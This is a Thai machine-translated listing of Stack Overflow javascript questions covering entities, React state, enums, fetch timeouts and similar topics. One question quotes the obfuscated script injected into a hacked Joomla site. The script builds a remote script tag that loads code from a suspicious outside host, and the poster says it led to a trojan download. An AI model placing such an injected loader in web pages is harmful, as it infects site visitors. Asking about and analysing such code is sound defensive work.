คำถามติดแท็ก javascript

สำหรับคำถามเกี่ยวกับการเขียนโปรแกรมใน ECMAScript (JavaScript / JS) และภาษา / การใช้งานต่างๆ (ไม่รวม ActionScript) แท็กนี้ไม่ค่อยได้ใช้คนเดียว แต่ส่วนใหญ่มักจะเกี่ยวข้องกับแท็ก [node.js], [jquery], [json] และ [html]

15
เข้ารหัสเอนทิตี html ในจาวาสคริปต์
ฉันทำงานใน CMS ซึ่งอนุญาตให้ผู้ใช้ป้อนเนื้อหาได้ ปัญหาคือเมื่อเพิ่มสัญลักษณ์®อาจแสดงผลได้ไม่ดีในทุกเบราว์เซอร์ ฉันต้องการตั้งค่ารายการสัญลักษณ์ที่ต้องค้นหาจากนั้นแปลงเป็นเอนทิตี html ที่เกี่ยวข้อง ตัวอย่างเช่น ® => ® & => & © => © ™ =>™ หลังจากการแปลงจะต้องมีการรวม<sup>แท็กซึ่งทำให้เกิดสิ่งนี้: ® => <sup>®</sup> เนื่องจากจำเป็นต้องมีขนาดตัวอักษรและรูปแบบการขยายที่เฉพาะเจาะจง: sup { font-size: 0.6em; padding-top: 0.2em; } JavaScript จะเป็นแบบนี้หรือไม่? var regs = document.querySelectorAll('®'); for ( var i = 0, l = imgs.length; i < l; ++i …
100 javascript  html 

9
React Hooks useState () กับ Object
วิธีที่ถูกต้องในการอัปเดตสถานะคือวัตถุที่ซ้อนกันใน React with Hooks คืออะไร? export Example = () => { const [exampleState, setExampleState] = useState( {masterField: { fieldOne: "a", fieldTwo: { fieldTwoOne: "b" fieldTwoTwo: "c" } } }) วิธีการหนึ่งที่จะใช้setExampleStateในการปรับปรุงexampleStateการa(ผนวกภาคสนาม)? const a = { masterField: { fieldOne: "a", fieldTwo: { fieldTwoOne: "b", fieldTwoTwo: "c" } }, masterField2: { fieldOne: "c", …

14
TypeScript enum ไปยัง object array
ฉันมี enum กำหนดด้วยวิธีนี้: export enum GoalProgressMeasurements { Percentage = 1, Numeric_Target = 2, Completed_Tasks = 3, Average_Milestone_Progress = 4, Not_Measured = 5 } อย่างไรก็ตามฉันต้องการให้แสดงเป็นอาร์เรย์วัตถุ / รายการจาก API ของเราดังนี้: [{id: 1, name: 'Percentage'}, {id: 2, name: 'Numeric Target'}, {id: 3, name: 'Completed Tasks'}, {id: 4, name: 'Average Milestone Progress'}, {id: 5, …


5
ตอบสนองอินพุต defaultValue ไม่อัปเดตตามสถานะ
ฉันกำลังพยายามสร้างแบบฟอร์มง่ายๆด้วยการตอบสนอง แต่ประสบปัญหาในการทำให้ข้อมูลเชื่อมโยงกับ defaultValue ของฟอร์มอย่างถูกต้อง พฤติกรรมที่ฉันกำลังมองหาคือ: เมื่อฉันเปิดหน้าของฉันช่องป้อนข้อความควรจะเต็มไปด้วยข้อความ AwayMessage ของฉันในฐานข้อมูลของฉัน นั่นคือ "ข้อความตัวอย่าง" ตามหลักการแล้วฉันต้องการมีตัวยึดตำแหน่งในช่องป้อนข้อความหาก AwayMessage ในฐานข้อมูลของฉันไม่มีข้อความ อย่างไรก็ตามตอนนี้ฉันพบว่าช่องป้อนข้อความว่างทุกครั้งที่รีเฟรชหน้า (แม้ว่าสิ่งที่ฉันพิมพ์ลงในอินพุตจะบันทึกอย่างถูกต้องและคงอยู่) ฉันคิดว่านี่เป็นเพราะ html ของฟิลด์ข้อความอินพุตโหลดขึ้นเมื่อ AwayMessage เป็นวัตถุว่างเปล่า แต่จะไม่รีเฟรชเมื่อโหลด awayMessage นอกจากนี้ฉันไม่สามารถระบุค่าเริ่มต้นสำหรับฟิลด์ได้ ฉันลบรหัสบางส่วนออกเพื่อความชัดเจน (เช่น onToggleChange) window.Pages ||= {} Pages.AwayMessages = React.createClass getInitialState: -> App.API.fetchAwayMessage (data) => @setState awayMessage:data.away_message {awayMessage: {}} onTextChange: (event) -> console.log "VALUE", event.target.value onSubmit: (e) -> …

10
หมดเวลาของคำขอ Fetch API หรือไม่
ฉันมีfetch-api POSTคำขอ: fetch(url, { method: 'POST', body: formData, credentials: 'include' }) ฉันต้องการทราบว่าการหมดเวลาเริ่มต้นสำหรับสิ่งนี้คืออะไร แล้วเราจะตั้งค่าให้เป็นค่าเฉพาะเช่น 3 วินาทีหรือไม่ จำกัด วินาทีได้อย่างไร

12
วิธีใช้ Checkbox ภายใน Select Option
ลูกค้าให้ฉันออกแบบซึ่งมีเมนู Select Option ที่มีช่องทำเครื่องหมายพร้อมกับชื่อรายการเป็นแต่ละรายการในรายการ เป็นไปได้หรือไม่ที่จะเพิ่มช่องทำเครื่องหมายในเมนู Select Option หมายเหตุ: นักพัฒนาต้องเพิ่ม id ของตัวเองเพื่อให้เมนูมีประสิทธิภาพฉันต้องการโค้ด HTML CSS เท่านั้นถ้าเป็นไปได้

8
Javascript "this" ตัวชี้ภายในฟังก์ชันซ้อน
ฉันมีคำถามเกี่ยวกับวิธีปฏิบัติต่อตัวชี้ "นี้" ในสถานการณ์จำลองฟังก์ชันซ้อนกัน สมมติว่าฉันแทรกโค้ดตัวอย่างต่อไปนี้ลงในเว็บเพจ ฉันได้รับข้อผิดพลาดเมื่อเรียกใช้ฟังก์ชันซ้อน "doSomeEffects ()" ฉันตรวจสอบใน Firebug และระบุว่าเมื่อฉันอยู่ในฟังก์ชันที่ซ้อนกันนั้นตัวชี้ "นี้" จะชี้ไปที่วัตถุ "หน้าต่าง" ทั่วโลกซึ่งฉันไม่คาดคิด ฉันต้องเข้าใจบางอย่างไม่ถูกต้องเพราะฉันคิดว่าตั้งแต่ฉันประกาศฟังก์ชันซ้อนภายในฟังก์ชันของอ็อบเจ็กต์มันควรมีขอบเขต "โลคัล" ที่สัมพันธ์กับฟังก์ชัน (เช่นตัวชี้ "นี้" จะหมายถึงอ็อบเจ็กต์เองเช่น เป็นอย่างไรในคำสั่ง "if" แรกของฉัน) คำแนะนำใด ๆ (ไม่มีการเล่นสำนวน) จะได้รับการชื่นชม var std_obj = { options : { rows: 0, cols: 0 }, activeEffect : "none", displayMe : function() { // the 'this' pointer …

7
ตรวจสอบว่าสตริงมีช่องว่างหรือไม่
ฉันกำลังพยายามตรวจสอบว่าสตริงมีช่องว่างหรือไม่ ฉันพบฟังก์ชันนี้ แต่ดูเหมือนจะใช้งานไม่ได้: function hasWhiteSpace(s) { var reWhiteSpace = new RegExp("/^\s+$/"); // Check for white space if (reWhiteSpace.test(s)) { //alert("Please Check Your Fields For Spaces"); return false; } return true; } RegExpโดยวิธีการที่ผมเพิ่มคำพูดไป มีสิ่งผิดปกติหรือไม่? มีอะไรที่ดีกว่าที่ฉันสามารถใช้ได้? หวังว่า JQuery

9
ฉันจะทดสอบว่าค่า“ มากกว่าหรือเท่ากับ” ในจัสมินได้อย่างไร
ฉันต้องการยืนยันว่าค่าเป็นทศนิยม (หรือ 0) ดังนั้นตัวเลขควรมากกว่าหรือเท่ากับศูนย์และน้อยกว่า 1 describe('percent',function(){ it('should be a decimal', function() { var percent = insights.percent; expect(percent).toBeGreaterThan(0); expect(percent).toBeLessThan(1); }); }); ฉันจะเลียนแบบ "> = 0" ได้อย่างไร
100 javascript  tdd  jasmine 

10
มีวิธีใช้ map () บนอาร์เรย์ในลำดับย้อนกลับด้วย javascript หรือไม่?
ฉันต้องการใช้map()ฟังก์ชันบนอาร์เรย์จาวาสคริปต์ แต่ฉันต้องการให้มันทำงานในลำดับย้อนกลับ เหตุผลคือฉันกำลังแสดงองค์ประกอบ React แบบเรียงซ้อนในโครงการ Meteor และต้องการให้องค์ประกอบระดับบนสุดแสดงผลก่อนในขณะที่ส่วนที่เหลือโหลดรูปภาพด้านล่าง var myArray = ['a', 'b', 'c', 'd', 'e']; myArray.map(function (el, index, coll) { console.log(el + " ") }); พิมพ์ออกมาa b c d eแต่ฉันหวังว่าจะมี mapReverse () ที่พิมพ์ออกมาe d c b a ข้อเสนอแนะใด ๆ ?
100 javascript  arrays 

7
การส่งผ่านอาร์กิวเมนต์ไปยังตัวกรอง angularjs
เป็นไปได้ไหมที่จะส่งอาร์กิวเมนต์ไปยังฟังก์ชันตัวกรองเพื่อให้คุณกรองด้วยชื่อใด ๆ สิ่งที่ต้องการ $scope.weDontLike = function(item, name) { console.log(arguments); return item.name != name; };

18
รวมไฟล์ CSS, javascript ใน Yii Framework
วิธีรวมไฟล์ Javascript หรือ CSS ใน Yii Framework ฉันต้องการสร้างเพจบนไซต์ของฉันที่มีแอปพลิเคชัน Javascript ทำงานอยู่เล็กน้อยดังนั้นฉันจึงต้องการรวม.jsและ.cssไฟล์ในมุมมองที่เจาะจง
99 javascript  php  css  yii 

8
ไซต์นี้ติดไวรัสสคริปต์ทำงานอย่างไร
Joomla ของฉัน! เว็บไซต์ถูกแฮ็กซ้ำหลายครั้ง มีคนจัดการเพื่อฉีดขยะต่อไปนี้ลงในสคริปต์ php ที่สำคัญ แต่ฉันไม่ได้พูดถึงการกำหนดค่า Joomla มีผู้เยี่ยมชมไซต์ไม่มากนัก (ในบางครั้งฉันกลัวว่าฉันอาจเป็นผู้เยี่ยมชมเพียงคนเดียวของไซต์นั้น ... ) และฉันไม่สนใจมากนักที่จะให้ไซต์สำรองและทำงาน ฉันจะจัดการในที่สุด คำถามของฉันคือขยะนี้ทำงานอย่างไร ฉันมองไปที่มันและฉันไม่เห็นว่าสิ่งนี้จัดการเพื่อทำอันตรายใด ๆ ได้อย่างไร? สิ่งที่พยายามดาวน์โหลดไฟล์ PDF ชื่อ ChangeLog.pdf ซึ่งติดไวรัสโทรจันและหลังจากเปิดแล้วจะทำให้ Acrobat ของคุณค้างและสร้างความหายนะในเครื่องของคุณ มันทำอย่างไรฉันไม่รู้ฉันไม่สนใจ แต่ส่วนของสคริปต์ต่อไปนี้เรียกการดาวน์โหลดได้อย่างไร <script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script> <!--6f471c20c9b96fed179c85ffdd3365cf--> ESETตรวจพบรหัสนี้เป็นโทรจัน JS / TrojanDownloader.Agent.NRO

13
ฉันจะยกเลิกการส่งแบบฟอร์มในปุ่มส่งในเหตุการณ์คลิกได้อย่างไร
ฉันกำลังทำงานกับเว็บแอปพลิเคชัน ASP.net ฉันมีแบบฟอร์มที่มีปุ่มส่ง รหัสสำหรับปุ่มส่งมีลักษณะ<input type='submit' value='submit request' onclick='btnClick();'>ดังนี้ ฉันต้องการเขียนสิ่งต่อไปนี้: function btnClick() { if (!validData()) cancelFormSubmission(); } ฉันต้องทำอย่างไร

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.